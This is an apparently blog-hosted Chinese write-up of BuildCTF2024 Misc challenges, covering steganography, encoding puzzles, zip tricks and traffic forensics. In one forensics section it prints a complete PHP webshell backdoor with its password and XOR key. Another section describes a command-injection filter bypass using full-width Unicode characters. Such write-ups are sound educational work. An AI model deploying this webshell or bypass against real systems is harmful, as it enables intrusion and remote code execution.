BuildCTF2024 Writeup

Misc

what is this?

image-20241012112541360

BuildCTF{S0_TH1S_15_M0R5E_C0DE_!!}

老色批

b1,rgb,lsb,xy 通道发现文本

b1,rgb,lsb,xy       .. text: "QnVpbGRDVEZ7MV9hbV9uMHRfTFNCISEhfQ=="

解码得到flag

BuildCTF{1_am_n0t_LSB!!!}

一念愚即般若绝,一念智即般若生

阴阳怪气解码得到password

s2j6dg@*

解压后的密文进行与佛论禅解密得到

曰:坤茫元量华劫始南灵+梵冥炁渺荡净+浩虚玉道坤玉终罗炁度清魄魔神龙融魂玉命魄鬼照色玉冥周色西鬼终命东融量照霄炁北南西生陀+空茫陀周度清道茫炁冥度东真阎阎阿度命净威茫度元茫微威陀空人罗北魂威荡幽吉灵尊

天书解密得到

7dcUypxFHgNSJ7rVkdM5k7X18GSU9JinEziQ5vsS1rMpvTpx

base58解密得到flag

BuildCTF{D3crypt10n_1s_4_l0ng_r04d}

如果再来一次,还会选择我吗?

可以看到数据被打乱,编写脚本复原

image-20241012113620595

input_file='password.png'
output_file='password_right.png'

with open(input_file, 'rb') as f:
        data = f.read()

byte_array = bytearray(data)

for i in range(0, len(byte_array) - 1, 2):
    byte_array[i], byte_array[i + 1] = byte_array[i + 1], byte_array[i]

with open(output_file, 'wb') as f:
    f.write(byte_array)

得到key

8!67adz6

解压得到一张条形码,但是部分被涂抹,用PS将未涂抹的部分进行拉伸

image-20241012122606988

扫描得到key

key:wo_bu_shi_xiao_hei_zi!!!

解压得到密文,需要base64循环解码,编写脚本

def base64_auto(s):   
    for i in range(1,99999):
        print("Time ",i,":")
        decode_str = base64.decodebytes(bytes(s, encoding='utf8') )
        result=decode_str.decode()
        print(result)
        s=result

s=""
base64_auto(s)    

在Time30得到Flag

Time  28 :
UW5WcGJHUkRWRVo3ZVRCMVgyRnlaVjluY21WaGRGOWliM2w5
Time  29 :
QnVpbGRDVEZ7eTB1X2FyZV9ncmVhdF9ib3l9
Time  30 :
BuildCTF{y0u_are_great_boy}
Time  31 :
Traceback (most recent call last):

别真给我开盒了哥

从图中可以看到关键信息

image-20241012115034666

搜索 s3901北京德州出口 找到相关信息

image-20241012120347871

搜索霸州南站铁路,得到flag

BuildCTF{津保铁路}

食不食油饼

零宽隐写,将得到的字符串base64解码后得到第一个压缩包密码

key:7gkjT!opo

盲水印得到第二个压缩包密码

image-20241012193359657

8GMdP3

解压得到字符串

IJ2WS3DEINKEM62XMF2DG4SNMFZGWXZRONPVGMC7MVQVG6L5

Base32解码得到flag

BuildCTF{Wat3rMark_1s_S0_eaSy}

四妹,你听我解释

先修复宽高,得到后半段编码

和谐公正平等平等友善敬业法治富强和谐民主法治诚信和谐

查看修复的图片的通道,在通道中发现前半段编码

[?] 192 bytes of extra data after image end (IEND), offset = 0x756d3
extradata:0         .. text: "自由文明法治平等公正敬业公正友善公正公正自由自由和谐平等自由自由公正法治友善平等公正诚信文明公正民主公正诚信平等平等诚信平等法治"

得到完整编码

自由文明法治平等公正敬业公正友善公正公正自由自由和谐平等自由自由公正法治友善平等公正诚信文明公正民主公正诚信平等平等诚信平等法治和谐公正平等平等友善敬业法治富强和谐民主法治诚信和谐

社会主义核心价值观解码得到flag

BuildCTF{lao_se_p1}

白白的真好看

在docx文档中改变字体颜色得到Flag1

Flag1:BuildCTF{Th3_wh1t3

0000000.txt中零宽隐写得到Flag2

Flag2:_wh1t3_y0u_s33

将汉信码解码后得到

http://weixin.qq.com/r/ekReRh7Eh0P4rVol9xFo

生成二维码扫码后跳转到公众号(这里我是遍历海报上的公众号找到的)得到snow隐写的password

snowsnow

对snow.txt进行snow隐写解密

SNOW.exe -Q -p "snowsnow" snow.txt

得到Flag3

_1s_n0t_wh1t3}

这里比较不合理的一点是Flag1和Flag2有交叉部分,需要自己删改

BuildCTF{Th3_wh1t3_y0u_s33_1s_n0t_wh1t3}

四妹?还是萍萍呢?

通过binwalk能够发现存在Zip数据,但是无法直接提取

image-20241015011622816

010搜索 50 4B 无果,检查IDAT块,在最后一个IDAT块前发现Zip文件数据,将Zip提取出来,存在加密,通过文件名得到提示

公众号回复password有惊喜

回复消息后得到password

St7wg.

解压后将txt中的数据base64解码后得到一张png,爆破宽高后得到flag

BuildCTF{PNG_@nd_H31sh3nHu@}

Black&White

压缩包内有很多图,解压后根据图片大小利用代码分别转化为0和1

import os  

def process_images_in_folder(folder_path):  
    s = ""   
    jpg_files = [os.path.join(folder_path, f) for f in os.listdir(folder_path) if f.endswith('.jpg')]   
    sorted_jpg_files = sorted(jpg_files, key=lambda x: int(''.join(filter(str.isdigit, os.path.basename(x)))))  

    for file_path in sorted_jpg_files:  
        file_size = os.path.getsize(file_path)

        if file_size == 878:  
            s += "1"  
        elif file_size == 879:  
            s += "0"  

    return s  

folder_path = 'panda'
result_string = process_images_in_folder(folder_path)

print(result_string)

得到01字符串后转化为二维码,扫描得到以下信息

3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2

base45解码得到flag

BuildCTF{Tich1?pAnDa?_HahA_U_w1n}

E2_?_21P

题目描述显示crc检验错误,首先想到的是源数据区或目录区的压缩方法被修改了,将这里的压缩方式更改为 8

image-20241023225521267

更改完毕后解压未显示crc检验错误但是存在密码,这时候尝试伪加密,解压得到BrainFuck编码,解码得到flag

BuildCTF{Da7A_Cowbr355lon_15_3A5Y}

EZ_ZIP

附件给的 Jpg 后存在压缩包,将其分离后得到压缩包。压缩包属于无密码嵌套,利用脚本解压到最后一层,伪加密得到Flag

BuildCTF{Z1p_p@ck@g3s_@r3_@_v3ry_1n73r3s7ing_thing}

Guesscoin

爆破就完事了

from pwn import*

io=remote("27.25.151.80",42861)

for i in range(100):
    io.sendline(str(1))

io.interactive()

HEX的秘密

先观察密文,直接Hex解密是乱码

c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd

我们将 BuildCTF 转为Hex查看,可以发现原本奇数位的数字被转成了对应序号-1的英文字符

4275696c64435446

写代码还原,得到初始Hex

4275696c644354467b33457a7a5f41356321215f62696e61727979797d

解码得到Flag

BuildCTF{3Ezz_A5c!!_binaryyy}

什么?来玩玩心算吧

原本以为是正常都加减乘除,但是发现并没有答案并且直接输入24也是答案正确,这里转化思路为命令执行。通过排查我们可以发现这道题目过滤了英文字符。但是可以使用 Unicode 绕过,这里采用的是全角

image-20241024002335593

得到flag

BuildCTF{a508efc0-99d4-424c-b731-5c6ad05fda1a}

放一套花体

𝒶𝒷𝒸𝒹ℯ𝒻ℊ𝒽𝒾𝒿𝓀𝓁𝓂𝓃ℴ𝓅𝓆𝓇𝓈𝓉𝓊𝓋𝓌𝓍𝓎𝓏
𝒜ℬ𝒞𝒟ℰℱ𝒢ℋℐ𝒥𝒦ℒℳ𝒩𝒪𝒫𝒬ℛ𝒮𝒯𝒰𝒱𝒲𝒳𝒴𝒵

我太喜欢亢金星君了!

先将gif拆分,根据图片大小分别将三种图片转化为 - .

import os  
import re  

def get_sorted_image_files(folder_path):   
    image_files = [f for f in os.listdir(folder_path) if f.lower().endswith('.png')]  

    def extract_number(filename):  
        match = re.search(r'\d+', filename)  
        return int(match.group()) if match else float('inf')

    sorted_files = sorted(image_files, key=extract_number)  
    return [os.path.join(folder_path, f) for f in sorted_files]  

def process_images(folder_path):  
    s = ""  
    image_files = get_sorted_image_files(folder_path)  

    for image_path in image_files:    
        file_size_bytes = os.path.getsize(image_path)

        if  file_size_bytes == 64627:  
            s += "."  
        elif file_size_bytes == 56214:  
            s += "-"
        elif file_size_bytes == 759:
            s += " "

    return s  

folder_path = 'output'  
result = process_images(folder_path)  
print(f"The final value of s is: {result}")

得到摩斯代码

-... ..- .. .-.. -.. -.-. - ..-. ----.-- .-- ....- .---- -.-. --- -- ....- ..--.- -. ....- .-- ..--.- ..-. .---- ... .... -----.-

解码得到flag

BuildCTF{BUILDCTFW41COM4_N4W_F1SH}

有黑客!!!

先分析流量包,将最后一段流量进行 url解码 ,可以看到存在两段

image-20241024001839809

将第一段进行处理得到木马文件

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='hhhhacker';
$payloadName='payload';
$key='73b761208d5c05f2';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

从中得到 keypass

$pass='hhhhacker';
$key='73b761208d5c05f2';

填入key进行解密

image-20241024131603592

得到flag

Buildctf{WireshArk_1s_vEry_EZ}

FindYourWindows

通过 key 文件作为密钥文件挂载 FindYourWindows ,对挂载盘进行取证,恢复回收站中的 flag.txt

image-20241024135016435

得到flag

BuildCTF{I2t_s0_e5sy!!!}

评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇